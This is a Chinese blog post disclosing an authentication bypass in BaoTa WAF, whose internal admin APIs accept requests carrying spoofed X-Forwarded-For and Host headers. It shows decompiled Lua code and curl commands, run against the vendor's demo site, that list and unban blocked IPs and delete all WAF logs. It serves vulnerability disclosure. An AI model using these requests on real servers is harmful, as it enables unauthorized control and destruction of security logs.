我发现了宝塔的未授权访问漏洞

简介: 宝塔的未授权访问漏洞

寒假期间闲着无事,过年又不想跑亲戚,又翻了翻宝塔的代码,再一次发现了重大漏洞。

大过年还在看代码真是不容易,宝塔请给我广告费+代码审计费。

整个宝塔 WAF 核心防护功能的代码写的确实有点粗糙,代码组织方式不像一个成熟软件该有的架构,小 Bug 一眼望不到头,今天分享的是一个未授权访问漏洞,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。

请看这段代码

start = function ()
  ... 此处身略若干行
  if ngx.var.remote_addr == "127.0.0.1" and ngx.ctx.Server_name == "127.0.0.251" and ngx.var.host == "127.0.0.251" then
    if ngx.var.uri == "/get_btwaf_drop_ip" then
      Public.return_message(200, uv0.get_btwaf_drop_ip())
    elseif ngx.var.uri == "/remove_btwaf_drop_ip" then
      Public.return_message(200, uv0.remove_btwaf_drop_ip())
    elseif ngx.var.uri == "/clean_btwaf_drop_ip" then
      Public.return_message(200, uv0.clean_btwaf_drop_ip())
    elseif ngx.var.uri == "/updateinfo" then
      Public.return_message(200, uv0.updateInfo())
    elseif ngx.var.uri == "/get_site_status" then
      Public.return_message(200, uv0.get_site_status())
    elseif ngx.var.uri == "/get_global_status" then
      Public.return_message(200, uv0.get_global_status())
    end
    if ngx.var.uri == "/clean_btwaf_logs" then
      Public.return_message(200, uv0.clean_btwaf_logs())
    end
    if ngx.var.uri == "/clear_speed_hit" then
      Public.return_message(200, uv0.clear_speed_hit())
    end
    if ngx.var.uri == "/clear_replace_hit" then
      Public.return_message(200, uv0.clear_replace_hit())
    end
    if ngx.var.uri == "/reset_customize_cc" then
      Public.return_message(200, uv0.reset_customize_cc())
    end
    if ngx.var.uri == "/clear_speed_countsize" then
      Public.return_message(200, uv0.clear_speed_countsize())
    end
  end
end

这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。

看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API 。

话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?

  • 配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件
  • 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件

提供一条 curl 参数供大家参考

curl 'http://宝塔地址/API'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

到此漏洞原理就讲完了

我们访问宝塔官方网站做个测试

get_btwaf_drop_ip

这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/get_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

remove_btwaf_drop_ip

这个 API 用来解封 IP ,提供一个 get 参数即可,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"msg":"1.2.3.4 已解封","status":true}

clean_btwaf_drop_ip

这个 API 用来解封所有 IP ,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/clean_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"msg":"已解封所有 IP","status":true}

updateinfo

这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/updateinfo?types'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

get_site_status

这个 API 用来获取网站的配置,server_name 参数需要提供网站的域名,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}

clean_btwaf_logs

这个 API 用来删除宝塔的所有日志,使用以下命令发起访问

curl "http://btwaf-demo.bt.cn/clean_btwaf_logs"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

后续还有一些 API 大同小异,不一一列举了

  • get_global_status
  • clear_speed_hit
  • clear_replace_hit
  • reset_customize_cc
  • clear_speed_countsize

漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

目录
相关文章
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
1130 125
|
搜索推荐
Gitlab----设置页面语言为简体中文
Gitlab----设置页面语言为简体中文
7146 0
Gitlab----设置页面语言为简体中文
|
存储 文件存储 Android开发
次时代摸鱼骚操作:人在办公室轻松观看家里电脑上的4k电影(移动端公网访问本地群辉存储视频文件)
次时代摸鱼骚操作:人在办公室轻松观看家里电脑上的4k电影(移动端公网访问本地群辉存储视频文件)
|
Web App开发 数据中心 Windows
【镜像更新】Windows Server 2012 R2 数据中心版
信息摘要: Windows Server 2012 R2 数据中心版镜像更新适用客户: 使用Windows Server 2012 R2的用户版本/规格功能: 镜像ID: win2012r2_64_dtc_9600_zh-cn_40G_alibase_20190318.
6677 0
|
2月前
|
JSON 编解码 API
百炼视频能力栈实测:文生/图生/首尾帧三条链路的参数矩阵与计价口径
百炼视频能力分happyhorse-1.1(t2v/i2v/r2v)与wan3.0-video两大模型家族,支持文生/图生/首尾帧等五类生成及参考视频、编辑等功能。命令统一入口为`bl video`,六次实跑全部成功,清晰度与水印可调,免费额度限华北2地域,需注意seed不保证复现。
|
12月前
Mac 上怎么安装 IDEA 2020.1.dmg?简单几步搞定(附安装包)
下载IDEA 2020.1.dmg文件后,双击打开并拖拽IntelliJ IDEA图标至“Applications”文件夹,等待复制完成。随后通过启动台或应用程序文件夹打开软件,首次运行时点击“打开”确认信任。安装成功,即可开始编程!(238字)
|
10月前
|
Web App开发 Windows
fdm_x64_setup_6.14.2.3973使用步骤详解(附安装与下载教程)
FDM(Free Download Manager)是一款免费多功能下载工具,支持HTTP、FTP、BT、磁力链,具备断点续传、下载加速功能。安装简便,支持浏览器集成,可批量下载、限速管理,显著提升下载效率,是替代浏览器自带下载器的优选方案。
1766 7
|
监控 网络协议 Linux
Gobuster目录/文件扫描工具
Gobuster 是用 Go 语言编写的高效命令行扫描工具,支持目录/文件暴力扫描、子域名枚举和虚拟主机发现。其多线程机制使扫描速度快,资源占用低,适合远程或云服务器使用。它具备灵活性,支持自定义字典、代理、HTTP 认证等功能,适用于敏感目录查找、资产管理、渗透测试等场景。此外,Gobuster 可通过安装在 Kali 或 Linux 系统上,快速执行各类扫描任务,是安全测试和自动化脚本的理想选择。
1042 0
|
Java
在Java中,接口之间可以继承吗?
接口继承是一种重要的机制,它允许一个接口从另一个或多个接口继承方法和常量。
1533 60

热门文章

最新文章